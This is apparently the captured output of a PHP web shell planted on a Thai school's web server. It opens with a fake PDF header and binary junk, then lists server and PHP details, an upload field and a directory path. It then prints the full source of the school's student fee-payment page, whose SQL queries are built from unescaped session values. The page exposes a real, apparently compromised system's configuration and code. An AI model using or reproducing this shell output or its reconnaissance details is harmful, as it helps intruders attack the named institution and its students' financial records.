%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/mis/student/mis/ |
Upload File : |
<?PHP include "permission.php"; include "conf.php"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Student information System KOWIT CM.</title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/heroic-features.css" rel="stylesheet"> <script> function ShowQRCode(Amount) { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("ShowQRCode").innerHTML = this.responseText; } }; if(Amount==0) Amount = document.getElementById("AmountCustom").value; xmlhttp.open("GET", "qr_payment/qrcode_reload.php?Amount="+Amount, true); xmlhttp.send(); } </script> </head> <?PHP $sql="select sum(AmountFee) as AmountFee from TB_StudentFees where IDStudent='".$_SESSION['IDStudent']."' and isnull(ReceiptNumber,'') = ''"; //echo $sql; $stmt = sqlsrv_query( $conn, $sql ); $AmountFee = 0; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { $AmountFee = $row["AmountFee"]; } $sql="select * from Finance_ActivePayment where ActivePayment = 1"; //echo $sql; $stmt = sqlsrv_query( $conn, $sql ); $isOpen=0; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { $isOpen=1; } ?> <body onload="ShowQRCode(<?PHP echo $AmountFee; ?>)"> <!-- Navigation --> <?PHP include "menu_nav.php"; ?> <!-- Page Content --> <div class="container"> <!-- Jumbotron Header --> <div class="row"> <div class="card my-4 col-12 text-center"> <div class="card-body"> <div class="row"> <div class="col-12"> <h3>ข้อมูลทางการเงิน</h3> <p class="lead"><?PHP echo "รหัสนักเรียน : ".$_SESSION['IDStudent']; ?><br><?PHP echo "ชื่อ - สกุล : ".$_SESSION['StuName']; ?> ชั้น <?PHP echo $_SESSION['PClass']."/".$_SESSION['PRoom']; ?> </p> <p class="lead">ยอดชำระทั้งหมด <?PHP echo number_format($AmountFee,2); ?> บาท</p> <?PHP if($isOpen==1) { ?> <div id="ShowQRCode" class="text-center"></div> <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal"> ชำระแบบระบุยอด </button> <?PHP } else { ?> <h3 class="text-danger">ระบบยังไม่เปิดให้ชำระเงิน</h3> <?PHP } ?> </div> </div> </div> </div> </div> <!-- Page Features --> <div class="row text-center"> </div> <!-- /.row --> </div> <!-- /.container --> <!-- Footer --> <footer class="py-5 bg-dark"> <div class="container"> <p class="m-0 text-center text-white">Copyright © KOWIT CM 2019</p> </div> <!-- /.container --> </footer> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <!-- Modal --> <div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">ระบุยอดที่ต้องการชำระ</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="col-auto"> <div class="input-group mb-2"> <div class="input-group-prepend"> <div class="input-group-text">ยอดเงิน</div> </div> <input type="number" class="form-control" id="AmountCustom" name="AmountCustom" placeholder="ระบุยอดเงิน"> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" onclick="ShowQRCode(0)" data-dismiss="modal">O.K.</button> </div> </div> </div> </div>